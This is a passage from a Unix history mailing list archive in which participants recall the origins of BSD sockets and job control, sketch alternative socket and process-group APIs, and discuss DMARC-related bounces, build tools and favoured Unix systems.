TLS finally becomes reality.  I never understood DNSSEC as such.)

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)



From clemc at ccc.com  Sat Sep 23 00:32:50 2017
From: clemc at ccc.com (Clem Cole)
Date: Fri, 22 Sep 2017 10:32:50 -0400
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <14E85999-B179-48C7-A93F-63D942207525@planet.nl>
References: <mailman.1105.1506026200.3779.tuhs@minnie.tuhs.org>
 <14E85999-B179-48C7-A93F-63D942207525@planet.nl>
Message-ID: <CAC20D2PhawC2jTb=nBZ6fx79HJP7Vy4WhPUTdA=JwvO_UX_r=g@mail.gmail.com>

Paul - you made a couple of comments and asked a few questions which I'll
take a shot at best I can having been there.   Sam spent a few hours in my
apartment drinking beer and watching football, and sometimes doing laundry
much less and arguing networking stuff. (I had a washer and dryer in those
days and he had a vacuum cleaner which I borrowed from him).  Before CSRG,
Sam had been working for a networking start up in the lower bay who's name
escapes me at the moment.   IIRC they had been doing a terminal
concentrator of some type.  Previous to UCB, I had been at Tek.  Presotto
at DEC, Baden and George at Pr1me on the their 750.

Sundays were often a football and beer session, usually at Mike Carey and
my place.

On Fri, Sep 22, 2017 at 6:36 AM, Paul Ruizendaal <pnr at planet.nl> wrote:

>
> Could you elaborate on how Accent networking influenced Joy's sockets?
> ​ ...​
>

​The Accent system was definitely heavy on people's mind.   The 1979 CMU
SPICE machine proposal had made quite a splash (I should scan it, I still
have an original copy).  Bert Halstead and Gettys later told me the story
at MIT how they had a meeting when it came out and the whole tone was 'what
are we going to do what the CMU thing'​ (the result was Athena).

By the time I got Berkeley, most of the community was watching what was
going on.   The issue in the end with Accent was that they did wrote it in
Pascal and it was not done with a UNIX API base (hence Mach would be C and
build into BSD).   But Accent was the new cool system and UNIX was not
(yet) centered as the 'the' system in the DARPA community.

DARPA was still reeling from the move from the PDP-10, and a lot people
were not 100% happy with that  (we have been discussing rms's hating Unix
and still pushing ITS as an example - he was hardly the only one).   While
the VAX has the HW was officially the DARPA system, Stanford was pushing
for VMS if you remember.   Some folks want different HW from the VAX too.
CMU & MIT were pushing DARPA for the idea of person workstations (Stanford
would join that too soon after an CMU EE would do his grad work at Stanford
- Andy B and build the "SUN" -- taking the ideas from the old CMU
distributed front-end project to a level no one ever imagined).

The point is that DARPA is kinda mixed up and the politics are not as clear
as it might seem 30 years later.

Rashid had presented the ports idea and whole Accent network model at a
DARPA PI meeting at Berkeley, I want to say in the Fall 1981-ish (date may
be off by a year or two).   IIRC he gave the Berkeley systems seminar that
week too. All the UCB System people like me, had the paper and we were
abuzz about it.  Mike Powell of Cray DemOS fame, was teaching the Grad OS
course and he was mixed up in the argument; as was Bart Miller (now at U
Wisc) who was one of his students then.

Mike has us all writing different papers and proposing different ideas.   Who
specifically contributed what is hard to say at this point, although Joy
was the master craftsman and final author/implementor of what went into the
CRSG system.  At lot of test stuff was done in private code or in other UCB
OS's work.

But Joy was absolutely trying to come up with something for UNIX that would
give a lot of the functionality of the Accent in more UNIX centric manner
because he felt he needed to keep the DARPA focused on UNIX as the system
of choice.   Hence overlaying the file descriptor in the socket call while
Rashid in Mach, would leave ports as separate concept.




>
> ​I ​
> think this idea came from Sam Leffler, but perhaps he was inspired
> by something else (Accent?, Chaos?)
>
​Sam is a good friend and I give him credit for many things.  Primarily as
making sure the BSD system worked.   As I have always said about Joy, "he
types open curly brace, close curly brace and he patches faster than anyone
I have even known.​"

So, besides mopping up after Bill, the three things I know you can credit
to Sam are routed, rcp/rsh, and trailers in the headers.   Besides that, he
was in on everything, but what was his, what was Bills, what was someone's
else's is hard.

As one of my friends who did his undergrad @ MIT who was also a UCB grad
student when I there put it (describing MIT's job control that Joy swiped
and added to BSD), "Bill recognized a lot of great ideas and then peed on
them to make them smell like UCB."




>
> ​...​
>
>
> Last and least, when feeling argumentative I would claim that connection
> strings like "/dev/tcp/host:port" are simply parameter data blocks encoded
> in a string :^)

​Exactly... Although the way that worked, was actually a side effect/bug in
name.​




>
>
>
> ​...
>  Back in 1980 there seems
> ​ ​
> to have been a lot of confusion over message boundaries

​It really was before 1980.   Those of us that lived networking in the 70s,
we were still trying to figure out what was the right way to do a lot of
things.  By the early 80s we agreed we had to have it, but best known
methods were still off.    We were still fighting the wars of SNA vs.
DECnet vs Wangnet vs MAP vs YourNet vs TelCo vs ....   People had not yet
recognized Metcalfe's Law.​

Which really is an example of where engineers forget the technology is
actually driven by economics.    The 'winner' may not be the technology
that is the 'best' from 'theory.'

We forget that fact often on this list too I fear.   I know it hurts, a
number of things I have been part in my career I 'know' were 'better' than
what 'won' but it does not matter.  They were not economical.

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170922/000ebe10/attachment.html>

From chet.ramey at case.edu  Sat Sep 23 00:42:19 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Fri, 22 Sep 2017 10:42:19 -0400
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <CAC20D2PhawC2jTb=nBZ6fx79HJP7Vy4WhPUTdA=JwvO_UX_r=g@mail.gmail.com>
References: <mailman.1105.1506026200.3779.tuhs@minnie.tuhs.org>
 <14E85999-B179-48C7-A93F-63D942207525@planet.nl>
 <CAC20D2PhawC2jTb=nBZ6fx79HJP7Vy4WhPUTdA=JwvO_UX_r=g@mail.gmail.com>
Message-ID: <49d4a25e-643f-6e6c-ccd5-9879027c3bff@case.edu>

On 9/22/17 10:32 AM, Clem Cole wrote:

> (describing MIT's job control that Joy swiped
> and added to BSD), 


The original concepts might have come from MIT, but the BSD implementation
was done by Jim Kulp at IIASA before it was folded into 4.1 BSD.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/



From chet.ramey at case.edu  Sat Sep 23 00:47:52 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Fri, 22 Sep 2017 10:47:52 -0400
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <49d4a25e-643f-6e6c-ccd5-9879027c3bff@case.edu>
References: <mailman.1105.1506026200.3779.tuhs@minnie.tuhs.org>
 <14E85999-B179-48C7-A93F-63D942207525@planet.nl>
 <CAC20D2PhawC2jTb=nBZ6fx79HJP7Vy4WhPUTdA=JwvO_UX_r=g@mail.gmail.com>
 <49d4a25e-643f-6e6c-ccd5-9879027c3bff@case.edu>
Message-ID: <5cc0ef77-a350-0c63-4900-aaf575a0b0f9@case.edu>

On 9/22/17 10:42 AM, Chet Ramey wrote:
> On 9/22/17 10:32 AM, Clem Cole wrote:
> 
>> (describing MIT's job control that Joy swiped
>> and added to BSD), 
> 
> 
> The original concepts might have come from MIT, but the BSD implementation
> was done by Jim Kulp at IIASA before it was folded into 4.1 BSD.

Though to be fair I think Kulp was an MIT guy who was inspired by ITS.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/



From lm at mcvoy.com  Sat Sep 23 00:49:46 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Fri, 22 Sep 2017 07:49:46 -0700
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <49d4a25e-643f-6e6c-ccd5-9879027c3bff@case.edu>
References: <mailman.1105.1506026200.3779.tuhs@minnie.tuhs.org>
 <14E85999-B179-48C7-A93F-63D942207525@planet.nl>
 <CAC20D2PhawC2jTb=nBZ6fx79HJP7Vy4WhPUTdA=JwvO_UX_r=g@mail.gmail.com>
 <49d4a25e-643f-6e6c-ccd5-9879027c3bff@case.edu>
Message-ID: <20170922144946.GU25650@mcvoy.com>

On Fri, Sep 22, 2017 at 10:42:19AM -0400, Chet Ramey wrote:
> On 9/22/17 10:32 AM, Clem Cole wrote:
> 
> > (describing MIT's job control that Joy swiped
> > and added to BSD), 
> 
> The original concepts might have come from MIT, but the BSD implementation
> was done by Jim Kulp at IIASA before it was folded into 4.1 BSD.

Huh, I too thought Bill Joy did it.  Did he integrate it and get credit 
that way?



From lars at nocrew.org  Sat Sep 23 00:52:10 2017
From: lars at nocrew.org (Lars Brinkhoff)
Date: Fri, 22 Sep 2017 14:52:10 +0000
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <5cc0ef77-a350-0c63-4900-aaf575a0b0f9@case.edu> (Chet Ramey's
 message of "Fri, 22 Sep 2017 10:47:52 -0400")
References: <mailman.1105.1506026200.3779.tuhs@minnie.tuhs.org>
 <14E85999-B179-48C7-A93F-63D942207525@planet.nl>
 <CAC20D2PhawC2jTb=nBZ6fx79HJP7Vy4WhPUTdA=JwvO_UX_r=g@mail.gmail.com>
 <49d4a25e-643f-6e6c-ccd5-9879027c3bff@case.edu>
 <5cc0ef77-a350-0c63-4900-aaf575a0b0f9@case.edu>
Message-ID: <7wfubeyeed.fsf@junk.nocrew.org>

Chet Ramey wrote:
>> Clem Cole wrote:
>>> (describing MIT's job control that Joy swiped
>>> and added to BSD), 
>> The original concepts might have come from MIT, but the BSD implementation
>> was done by Jim Kulp at IIASA before it was folded into 4.1 BSD.
>
> Though to be fair I think Kulp was an MIT guy who was inspired by ITS.

Yes, that's what he wrote to me when I asked him about it.



From chet.ramey at case.edu  Sat Sep 23 00:57:39 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Fri, 22 Sep 2017 10:57:39 -0400
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <20170922144946.GU25650@mcvoy.com>
References: <mailman.1105.1506026200.3779.tuhs@minnie.tuhs.org>
 <14E85999-B179-48C7-A93F-63D942207525@planet.nl>
 <CAC20D2PhawC2jTb=nBZ6fx79HJP7Vy4WhPUTdA=JwvO_UX_r=g@mail.gmail.com>
 <49d4a25e-643f-6e6c-ccd5-9879027c3bff@case.edu>
 <20170922144946.GU25650@mcvoy.com>
Message-ID: <91176da9-8f88-d3a9-7078-d1438cf551f5@case.edu>

On 9/22/17 10:49 AM, Larry McVoy wrote:
> On Fri, Sep 22, 2017 at 10:42:19AM -0400, Chet Ramey wrote:
>> On 9/22/17 10:32 AM, Clem Cole wrote:
>>
>>> (describing MIT's job control that Joy swiped
>>> and added to BSD), 
>>
>> The original concepts might have come from MIT, but the BSD implementation
>> was done by Jim Kulp at IIASA before it was folded into 4.1 BSD.
> 
> Huh, I too thought Bill Joy did it.  Did he integrate it and get credit 
> that way?

Kulp did the signal work in the kernel and added the code to the c shell
to use it (or had Eric Cooper, who was working for him as a student at
the time do fg/bg). He did his work on 3BSD and set the mods to Berkeley,
where Joy took them and integrated them into 4.1 BSD.

As far as I can tell, Kulp has always gotten credit for doing the initial
work, Joy for the `standard' BSD integration, and David Korn for doing
the second (non-csh) implementation.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/



From torek at torek.net  Sat Sep 23 04:00:41 2017
From: torek at torek.net (Chris Torek)
Date: Fri, 22 Sep 2017 11:00:41 -0700
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: Your message of "Fri, 22 Sep 2017 12:36:34 +0200."
 <14E85999-B179-48C7-A93F-63D942207525@planet.nl>
Message-ID: <201709221800.v8MI0fSM069953@elf.torek.net>

[I said]
>> This also knocks out the need for SO_REUSEADDR ...

>Under TCP/IP I'm not sure you can. The protocol specifies that you must
>wait for a certain period of time (120 sec, if memory serves my right)
>before reusing an address/port combo, so that all in-flight packets have
>disappeared from the network. Only if one is sure that this is not an
>issue one can use SO_REUSEADDR.

That's independent of this issue.  The problem is that when you
call bind(), the system does not know if you are doing it as
the first half of bind()/connect(), or as the first half of
bind()/listen( (followed by an accept() loop).

If you are going to do the latter, you are declaring that you want
to serve *new* SYN requests.  This is when you (currently) must set
SO_REUSEADDR, because bind() checks your local address against the
universe of all local/remote pairs.  But if the system knows that
your call (which, remember, isn't bind() anymore) is your
declaration of intent to be a server, the OS can just check
whether there's already someone declared as "the server".

If you intend to "serve" one specific foreign address (FTP):

   bind_and_connect(fd, local, remote);

the test is: "does <local,remote> specify a unique address"
(and possibly "does <local> match what we already suggested
to you and reserved for you).  If you intend to serve "*":

   bind_and_connect(fd, local, NULL);

the test is: "is there already a <local,*>".

In the server case any existing 2MSL timeouts are irrelevant;
what matters is whether you are competing with another server.

(Note that libc will probably have various convenience wrappers
atop the system call, kind of like libc has system() atop
fork/exec.  Most programs just want to create and bind_and_connect
a socket in one pass.)

Chris



From torek at torek.net  Sat Sep 23 04:14:31 2017
From: torek at torek.net (Chris Torek)
Date: Fri, 22 Sep 2017 11:14:31 -0700
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: Your message of "Fri, 22 Sep 2017 10:57:39 -0400."
 <91176da9-8f88-d3a9-7078-d1438cf551f5@case.edu>
Message-ID: <201709221814.v8MIEVLp070033@elf.torek.net>

>Kulp did the signal work in the kernel and added the code to the c shell
>to use it (or had Eric Cooper, who was working for him as a student at
>the time do fg/bg). He did his work on 3BSD and set the mods to Berkeley,
>where Joy took them and integrated them into 4.1 BSD.

Kulp's name (and IIASA) appeared in several source files, I think;
I know I came across them.

Job control is a little overly complicated but there's only one
really big mistake in it, in my opinion, and that is that the
process group IDs are not allocated in the kernel.  This is what
led to all the "session group leader" cruft in POSIX.

Job control ought to be independent of tty devices: each shell
pipeline is a "job", and the shell should group them by having the
kernel create an initial empty(ish -- the shell is a member of
both its original pgroup and this one it just created, until it
detaches from it) job, then pushing each process it forks into
that pgroup.

I'll use "fd" as a name here since I think that's one way to
return them (they're refcounted like file descriptors) but not
the only way, and it probably makes more sense to return a
pgroup ID directly and have a pgclose()...

    // in a shell:
    fd = new_pgroup(); // kernel allocates pgroup

    for (all commands in a pipeline) {
        pid = fork();
        if (pid == 0) {
            // child
            pid = getpid();
            setpgrp(pid, fd);
            ... all the other stuff we do ...
            exec(childprocess)
        }
        if (pid < 0) ... clean up ...
        // still in the shell - set up the rest of the pipe using
        // the same pgroup
    }
    close(fd); // we're done with the pgroup, it goes away
    // when the last pid we created above also exits

Note that this would mean that anything that creates login sessions
would have to have this same kind of code (create a pgroup, fork,
push child into pgroup, exec shell).  But that's already true for
job control in general: init or getty needs to be job-control-aware,
and this makes their code simpler.

Chris



From clemc at ccc.com  Sat Sep 23 04:43:41 2017
From: clemc at ccc.com (Clem Cole)
Date: Fri, 22 Sep 2017 14:43:41 -0400
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <201709221814.v8MIEVLp070033@elf.torek.net>
References: <91176da9-8f88-d3a9-7078-d1438cf551f5@case.edu>
 <201709221814.v8MIEVLp070033@elf.torek.net>
Message-ID: <CAC20D2MdHBazVBR3KLR-hFpeNe20iiTneGr2Q6ueE7ds+gf77g@mail.gmail.com>

On Fri, Sep 22, 2017 at 2:14 PM, Chris Torek <torek at torek.net> wrote:

> Kulp's name (and IIASA) appeared in several source files,


​Which is exactly my point....​As Larry said -- "*Huh, I too thought Bill
Joy did it.  Did he integrate it and get credit that way?"*

Most people, even really smart ones that know a lot of the history like
Larry, think job control came from BSD.   Bill recognized a good idea (and
I believe it came in on the PDP-11 version from IIASA and MIT BTW) and then
peed on it as it was made part of 4.1BSD.

To his credit, he was amazing at recognizing some great ideas and
integrating them; and some of them make the system much more usable and I
could not live without (I really would not want to type day-2-day to V6 or
V7 - which I did years ago and love it ->> then <<).

The core BSD system is the basic UNIX that the ROMs in my fingers and my
brain expect when I'm typing.  Bill was the person that shepherded it and I
thank him.    But it was a work of a lot people, but at UCB (and not just
CSRG) and outside.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170922/0f813afc/attachment.html>

From chet.ramey at case.edu  Sat Sep 23 05:08:10 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Fri, 22 Sep 2017 15:08:10 -0400
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <201709221814.v8MIEVLp070033@elf.torek.net>
References: <201709221814.v8MIEVLp070033@elf.torek.net>
Message-ID: <efe20dae-1828-1a55-a322-1801e776d444@case.edu>

On 9/22/17 2:14 PM, Chris Torek wrote:

> Job control ought to be independent of tty devices: each shell
> pipeline is a "job", and the shell should group them by having the
> kernel create an initial empty(ish -- the shell is a member of
> both its original pgroup and this one it just created, until it
> detaches from it) job, then pushing each process it forks into
> that pgroup.

In that sense, job control and process groups *are* independent of
the terminal device.

The complication arises when you have to multiplex one terminal
between several different jobs in an interactive shell. Setting
the terminal process group correctly -- the only way to accomplish
that -- is fragile and the consequences of setting it to the wrong
value are inconvenient, to say the least.

Chet
-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/



From gtaylor at tnetconsulting.net  Sat Sep 23 05:51:43 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Fri, 22 Sep 2017 13:51:43 -0600
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <20170922114637.-EfSz%steffen@sdaoden.eu>
References: <20170921223420.GA27231@minnie.tuhs.org>
 <20170922114637.-EfSz%steffen@sdaoden.eu>
Message-ID: <aa30ea2f-cc94-2004-57ab-7359d05e0615@tnetconsulting.net>

On 09/22/2017 05:46 AM, Steffen Nurpmeso wrote:
> The mailman version i use supports REMOVE_DKIM_HEADERS out of the 
> box?  (This is v2.1.24, i hope that and Python2 will be maintained 
> for a while time.)  So i have REMOVE_DKIM_HEADERS=2 which always 
> removes those headers, but more possibilities exist.  There is 
> also special support for DMARC, but i never fiddled with that.

I sent a message to the Mailman users mailing list inquiring.  I believe 
that at least dmarc_moderation_action should be set to munge to best 
deal with DMARC.

I also feel like mailing lists are their own entity, and as such, 
messages should be from them.  Similarly, I think replies should be 
directed back to the list.  I think this is especially true for 
discussion type mailing lists.  Thus, I would be inclined to set 
from_is_list to munge also.

I feel like the best long term solution would be for remove_dkim_headers 
to be set to yes, which will remove the DKIM headers if the from header 
is being munged.

> (I personally use SPF -all and hope for the day DNS via DTLS or
> TLS finally becomes reality.  I never understood DNSSEC as such.)

I've been using DNSSEC for multiple years and have had very few problems 
with it.  Usually it's because I hand edit my zone and bork something.

I also look forward to the encryption ~> privacy that DNS over DTLS will 
provide (as I understand it) but I wonder what additional protection 
DTLS will provide compared to what DNSSEC provides.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170922/bc1938c8/attachment.bin>

From gregg.drwho8 at gmail.com  Sat Sep 23 06:09:48 2017
From: gregg.drwho8 at gmail.com (Gregg Levine)
Date: Fri, 22 Sep 2017 16:09:48 -0400
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <20170921223420.GA27231@minnie.tuhs.org>
References: <20170921223420.GA27231@minnie.tuhs.org>
Message-ID: <CAC5iaNEEzY0_7=FKRVQZzdQBbF8tWqpf1kmB759GTY=wsB90Sw@mail.gmail.com>

Hello!
I did receive an actual notice to re-enable my subscription to the
list. Both here and on my other address. It was from AT&T. Based on
what you've posted I believe its that the evolving methods of sending
e-mail haven't completely caught up with the way lists manage it.

And thank you for being persistent. And thank you for an amazing list,
it is exactly what I need for my hobby concerning UNIX and BSD and the
PDP-11 and VAX machines. And an even better collection of software
regarding the society.
-----
Gregg C Levine gregg.drwho8 at gmail.com
"This signature fought the Time Wars, time and again."


On Thu, Sep 21, 2017 at 6:34 PM, Warren Toomey <wkt at tuhs.org> wrote:
> All, overnight the mail list blocked about 60 people because of excessive
> bouncing. It was probably because the list has been busy, and the bounce
> threshold for the (mostly gmail) addresses was exceeded. I've manually
> re-enabled them all.
>
> I have installed the script that strips DKIM and ARC header lines before
> the list software processes the inbound e-mails. We will see if that helps.
>
> Apologies, Warren
>



From bakul at bitblocks.com  Sat Sep 23 06:09:50 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Fri, 22 Sep 2017 13:09:50 -0700
Subject: [TUHS] remaking make (Re: Another "craft" discussion topic -
	mindless tool proliferation
In-Reply-To: Your message of "Thu, 21 Sep 2017 18:08:05 -0700."
 <20170922010805.GO25650@mcvoy.com>
References: <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
 <20170921183924.oaj23%steffen@sdaoden.eu>
 <20170922000207.GB64682@eureka.lemis.com>
 <2A5F5EBA-0CCB-4756-A2CA-E9108E370EDC@orthanc.ca>
 <20170922003819.GM25650@mcvoy.com>
 <1827FFAA-EB54-44E9-84BF-D5EEF0CCB9FF@orthanc.ca>
 <20170922005053.GN25650@mcvoy.com>
 <3254B521-0895-4E42-8A0C-8F8E3451FDBE@orthanc.ca>
 <20170922010805.GO25650@mcvoy.com>
Message-ID: <20170922201005.79953156E523@mail.bitblocks.com>

On Thu, 21 Sep 2017 18:08:05 -0700 Larry McVoy <lm at mcvoy.com> wrote:
> 
> I do wish that some simple make had stuffed a scripting language in there.
> Anything, tcl, lua, even (horrors, can't believe I'm saying this) a little
> lisp.  Or ideally a built in shell compat language.  All those backslashes
> to make shell scripts work get old.

Google's bazel seems to have a good model and abstraction
facility.  For example, to build a C++ binary from
{foo,main}.cc you can use

cc_binary(
	name = "foo",
	srcs = ["foo.cc", "main.cc"],
	hdrs = ["foo.h"],
)

The cc_binary macro encapsulates the common pattern for
building c++ binaries, and allows you to specify just the
essential (and optional) parameters.  You can also define your
own rules (and this is how they are adding go support).

Its implementation seems to rather heavy weight (its binary
installer (without jdk8) for Macs is 111MB) and there are a
number of other isses so I wouldn't want to use it but it is
good for mining ideas.  Building something much simpler that
serves the needs of most projects should be possible.  May
even be worth experimenting using an s-expression syntax.
Then the above example becomes

(cc-binary 'foo
  (srcs '(foo.cc main.cc))
  (hdrs '(foo.h)))

Shorter and much less clutter!  Ideally the program should
have just have meta rule built-in and everything else can be
bootstrapped but it may be advantageous to "precompile" some
rules....



From torek at torek.net  Sat Sep 23 06:57:48 2017
From: torek at torek.net (Chris Torek)
Date: Fri, 22 Sep 2017 13:57:48 -0700
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: Your message of "Fri, 22 Sep 2017 15:08:10 -0400."
 <efe20dae-1828-1a55-a322-1801e776d444@case.edu>
Message-ID: <201709222057.v8MKvmQ0070727@elf.torek.net>

>In that sense, job control and process groups *are* independent of
>the terminal device.
>
>The complication arises when you have to multiplex one terminal
>between several different jobs in an interactive shell. Setting
>the terminal process group correctly -- the only way to accomplish
>that -- is fragile and the consequences of setting it to the wrong
>value are inconvenient, to say the least.

Sure, but here again you can have the shell hang on to the
(kernel allocated) pgroup, and any control operation amounts
to, e.g., "set tty pgroup to the one for my pgroupid X".
Since the shell is waiting for everything in the pipeline
to exit, the shell knows when to close its "pgid descriptor".

(If you abandon the pipeline entirely, you also abandon the
ability to attach it to a tty.  There should be some way to
"rejoin" pgroups, which would let you attach them to new tty
sessions, which is something that is missing from the current
system.  But that's another thing entirely.)

Chris



From tih at hamartun.priv.no  Sat Sep 23 17:50:51 2017
From: tih at hamartun.priv.no (Tom Ivar Helbekkmo)
Date: Sat, 23 Sep 2017 09:50:51 +0200
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <20170921223420.GA27231@minnie.tuhs.org> (Warren Toomey's message
 of "Fri, 22 Sep 2017 08:34:20 +1000")
References: <20170921223420.GA27231@minnie.tuhs.org>
Message-ID: <m27ewprgys.fsf@thuvia.hamartun.priv.no>

Warren Toomey <wkt at tuhs.org> writes:

> I have installed the script that strips DKIM and ARC header lines before
> the list software processes the inbound e-mails. We will see if that helps.

That's an interesting solution.  Configuring it to not modify the
Subject: line by adding "[TUHS] " to it would probably also work.  :)

Also, it seems from my logs that every list item that's been refused at
my end over the last couple of weeks has been from someone in the domain
"tnetconsulting.net".  It might be interesting to see what's special
about mail from that subscriber.

A random sample:

/var/log/maillog.7.gz:Sep 15 00:27:18 barsoom postfix/smtpd[27728]: CBD5F1C716F: client=minnie.tuhs.org[45.79.103.53]
/var/log/maillog.7.gz:Sep 15 00:27:19 barsoom postfix/cleanup[26726]: CBD5F1C716F: message-id=<1c311c3e-6ba6-4f5c-267e-1529e1799045 at tnetconsulting.net>
/var/log/maillog.7.gz:Sep 15 00:27:19 barsoom opendkim[192]: CBD5F1C716F: bad signature data
/var/log/maillog.7.gz:Sep 15 00:27:20 barsoom opendmarc[489]: CBD5F1C716F: tnetconsulting.net fail
/var/log/maillog.7.gz:Sep 15 00:27:20 barsoom postfix/cleanup[26726]: CBD5F1C716F: milter-reject: END-OF-MESSAGE from minnie.tuhs.org[45.79.103.53]: 5.7.1 rejected by DMARC policy for tnetconsulting.net; from=<tuhs-bounces at minnie.tuhs.org> to=<tih at hamartun.priv.no> proto=ESMTP helo=<minnie.tuhs.org>

-tih
-- 
Most people who graduate with CS degrees don't understand the significance
of Lisp.  Lisp is the most important idea in computer science.  --Alan Kay



From gtaylor at tnetconsulting.net  Sat Sep 23 19:05:47 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Sat, 23 Sep 2017 03:05:47 -0600
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <m27ewprgys.fsf@thuvia.hamartun.priv.no>
References: <20170921223420.GA27231@minnie.tuhs.org>
 <m27ewprgys.fsf@thuvia.hamartun.priv.no>
Message-ID: <1bfefa2f-4433-0d13-5972-ffb92bae3fa1@tnetconsulting.net>

On 09/23/2017 01:50 AM, Tom Ivar Helbekkmo wrote:
> Also, it seems from my logs that every list item that's been refused at
> my end over the last couple of weeks has been from someone in the domain
> "tnetconsulting.net".  It might be interesting to see what's special
> about mail from that subscriber.

/me raises a white flag.

I can tell you what's special about mail from that subscriber.

I have leading industry standard email security enabled on my email. 
Things like DKIM and DMARC which are specifically designed to tell 
receiving email servers where email from my domain should come from and 
what to do with email that does not come from my servers.

So, receiving servers that are also running leading industry standard 
filters honor my settings and reject the messages that claim to be from 
me but do not come from my mail server.  -  Mailman naively interprets 
this as a bounce.

Suffice it to say, that email server industry is changing and mailing 
lists are going to have to change to keep up with the times.

This problem is happening to a lot of mailing lists and will start 
happening to more and more as more of the email industry adopts things 
like DKIM and DMARC.

Note:  Multiple governments around the world are strongly desiring 
things like DKIM and DMARC.  Germany is probably a leader.  US senators 
are asking US governmental agencies to follow suit.  -  Suffice it to 
say, that more and better email security is coming.  (I'm just an early 
adopter.)



-- 
Grant. . . .
unix || die



From dario at darioniedermann.it  Sat Sep 23 19:12:39 2017
From: dario at darioniedermann.it (Dario Niedermann)
Date: Sat, 23 Sep 2017 11:12:39 +0200
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920162502.GN25650@mcvoy.com>
References: <20170920162502.GN25650@mcvoy.com>
Message-ID: <20170923091239.GC10152@darioniedermann.it>

Il 20/09/2017 alle 18:25, Larry McVoy ha scritto:

> I tried running my own server on mcvoy.com but eventually gave up, the
> spam filtering was a non-ending task.
> 
> If someone has a plug and chug setup for MX I'd love to try it.

I run my own mail server (OpenSMTPD + Dovecot) but I don't do any spam
filtering server-side. I filter my email client-side with procmail and
bogofilter.

Every message to any non-existing address gets thrown into a catch-all
mailbox. I download the contents of that mailbox daily, and feed them
straight to bogofilter as spam, which of course improves its accuracy...


-- 
Dario Niedermann.                 Also on the Internet at:

gopher://darioniedermann.it/  <>  https://www.darioniedermann.it/



From dario at darioniedermann.it  Sat Sep 23 19:17:04 2017
From: dario at darioniedermann.it (Dario Niedermann)
Date: Sat, 23 Sep 2017 11:17:04 +0200
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
Message-ID: <20170923091704.GD10152@darioniedermann.it>

Il 20/09/2017 alle 02:39, Dave Horsfall ha scritto:

> Definitely FreeBSD, because it's solid, has thousands of ports,
> and well, is BSD...

I have been a user in the past, but I just can't forgive FreeBSD for
abandoning the proc filesystem  :-(

My "Unix" of choice for the last 9 years has been Slackware. Pretty much
the go-to distro for people who would love to run BSD, but can't (in my
case, because of broken ACPI suspend/resume support in BSD-land).


-- 
Dario Niedermann.                 Also on the Internet at:

gopher://darioniedermann.it/  <>  https://www.darioniedermann.it/



From steve.mynott at gmail.com  Sat Sep 23 19:36:20 2017
From: steve.mynott at gmail.com (Steve Mynott)
Date: Sat, 23 Sep 2017 10:36:20 +0100
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170923091704.GD10152@darioniedermann.it>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
Message-ID: <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>

On 23 September 2017 at 10:17, Dario Niedermann
<dario at darioniedermann.it> wrote:
> Il 20/09/2017 alle 02:39, Dave Horsfall ha scritto:
>
>> Definitely FreeBSD, because it's solid, has thousands of ports,
>> and well, is BSD...
>
